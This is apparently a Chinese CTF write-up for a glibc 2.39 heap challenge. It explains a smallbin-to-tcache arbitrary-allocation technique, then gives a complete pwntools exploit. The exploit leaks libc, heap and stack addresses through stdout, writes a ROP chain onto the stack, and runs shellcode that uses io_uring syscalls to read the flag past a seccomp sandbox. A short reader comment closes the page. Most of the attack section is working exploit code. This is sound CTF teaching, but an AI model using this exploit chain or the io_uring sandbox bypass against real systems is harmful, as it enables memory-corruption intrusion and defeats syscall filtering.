题目逻辑
UAF,没有show功能
取而代之的是提供了heap和libc地址的12-15位,也就是从main_arena到stdout时要爆破的那一位
既然如此,第一步一定是任意地址分配到stdout上修改stdout泄漏
泄漏地址之后就可以用tcache任意地址写了
存在sandbox,过滤了open,openat,openat2,需要使用io_uring来打开flag文件
利用思路
类似house of lore,在2.39版本中smallbin会和fastbin一样被reverse进tcache中
reverse的时候会检测victim->bk->fd != victim
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
而这个检测仅仅针对那个要被再次分配出去的smallbin,此时如果通过了检测,并且tcache对应size的链表仍然还有位置,那么就会触发reverse,将剩下的smallbin reverse into tcache
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
...
}
}
#define last(b) ((b)->bk)
在这个过程中,对于smallbin双链表的合法性检测只有victim->bk != victim,因此直接伪造bk,就可以将bk对应的地址写入tcache链表,利用tcache实现更简单的任意地址分配
但是我们很难保证伪造的bk所在处地址的值,而且由于smallbin是双向循环链表,指向NULL也并不是一个合理的选择。对于伪造的bk而言,在下一次循环开始,victim就会被设置为伪造的bk,并且这个循环会不断的执行下去,除了合法的smallbin链表以外,很难让伪造的bk满足这样的条件。这就和house of lore的问题一样,除了合法的smallbin链表自身以外,很难有一个能满足后续检测的内存区域
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
也就是说需要在合适的时机,也就是tc_victim为fake_bk这一次循环执行完之后跳出循环,那么唯一的方法就是让tcache链表满员,从而跳出循环。
总结一下就是
- 创建一个含有7个chunk的smallbin链表
- 修改最后一个smallbin的bk为evil_addr
- 满足evil_addr + 0x18处为可写地址
- 分配对应size的chunk,触发smallbin reverse into tcache
满足上述条件即可将evil_addr写入tcache链表,达成任意地址分配
EXP
from pwn import*
#r=remote("127.0.0.1",8888)
r=process('./pwn')
context.log_level='debug'
context.arch="amd64"
def new(size):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("? ")
r.sendline(str(size))
def delete(idx):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("? ")
r.sendline(str(idx))
def edit_request(idx):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(idx))
def edit(idx,offset,content):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline("111111")
r.recvuntil("? ")
r.sendline(str(idx))
r.recvuntil("? ")
r.sendline(str(offset))
r.recvuntil(">")
r.send(content)
def show():
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline("114514")
for i in range(24): new(0xf8)
edit_request(19)
show()
r.recvuntil(": ")
mix_offset=int(r.recvuntil("\n",drop=True),16)
heap_offset=mix_offset//0x10
libc_offset=mix_offset%0x10
for i in range(7): delete(i)
for i in range(7,21,2): delete(i)
for i in range(7): new(0xf8)
new(0x418)
edit(0,8,"\x50"+p8(((libc_offset-3)&0xf)*0x10+0x5))
gdb.attach(r)
new(0xf8)
new(0xf8)
edit_request(33)
edit(1,0x60,p16(0x1800))
edit(1,0x80,"\x00")
libc_base=u64(r.recv(8))-0x204644
success("libc_base: "+hex(libc_base))
edit(1,0x80,p64(libc_base+0x204560))
heap_base=(u64(r.recv(8))^((libc_base+0x204560)>>12))-0x15a0
success("heap_base: "+hex(heap_base))
edit(1,0x80,p64(libc_base+0x20ad58)+p64(libc_base+0x20ad60)*2)
stack=u64(r.recv(8))-0x1a8
success("stack: "+hex(stack))
edit(0,0,p64(stack^((heap_base+0x15a0)>>12)))
new(0xf8)
new(0xf8)
edit_request(35)
pop_rdi=libc_base+0x10f75b
pop_rsi=libc_base+0x110a4d
pop_rdx_pop_4=libc_base+0xb502c
pop_rax=libc_base+0xdd237
syscall=libc_base+0x98fa6
payload=""
payload+=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx_pop_4)+p64(0x7)+p64(0)*0x4+p64(pop_rax)+p64(10)+p64(syscall)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base)+p64(pop_rdx_pop_4)+p64(0x1000)+p64(0)*0x4+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(heap_base)
#gdb.attach(r,"b *"+hex(syscall))
edit(2,0x8,payload.ljust(0xf0,"\x00"))
shell=""
shell+=asm("""
mov rax, 0x67616c66
push rax
mov r15, rsp
sub rsp, 0x78
mov ecx, 0xf
xor rax, rax
mov rdi, rsp
mov rbx, rdi
rep stosq qword ptr [rdi], rax
""")
shell+=asm(shellcraft.syscall(425, 16, "rbx"))
shell+=asm("""
mov r12, rax
sub rsp, 0x18
""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0))
shell+=asm("""
mov qword ptr [rsp], rax
""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0x8000000))
shell+=asm("""
mov qword ptr [rsp + 0x8], rax
""")
shell+=asm(shellcraft.mmap(0, 0x1000, 3, 1, "r12", 0x10000000))
shell+=asm("""
mov qword ptr [rsp + 0x10], rax
""")
shell+=asm("""
mov rax, qword ptr [rsp + 0x10]
mov rax, qword ptr [rsp + 0x10]
mov byte ptr [rax], 0x12
mov byte ptr [rax + 1], 0x10
mov dword ptr [rax + 4], 0xffffff9c
mov qword ptr [rax + 0x10], r15
""")
shell+=asm("""
mov rax, qword ptr [rbx + 0x40]
mov rdx, qword ptr [rsp]
add rax, rdx
mov dword ptr [rax], 0
""")
shell+=asm("""
mov eax, dword ptr [rbx + 0x2c]
mov edx, eax
mov rax, qword ptr [rsp]
add rax, rdx
add dword ptr [rax], 1
""")
shell+=asm(shellcraft.syscall(426, "r12", 1, 1, 1, 0, 0))
shell+=asm("""
mov eax, dword ptr [rbx + 0x64]
mov edx, eax
mov rax, qword ptr [rsp + 0x8]
add rax, rdx
mov eax, dword ptr [rax + 8]
""")
shell+=asm(shellcraft.read("rax", "r15", 0x40))
shell+=asm(shellcraft.write(1, "r15", 0x40))
r.send(shell)
r.interactive()
师傅,破坏 _IO_2_1stderr 后似乎在 puts 函数里面阻塞了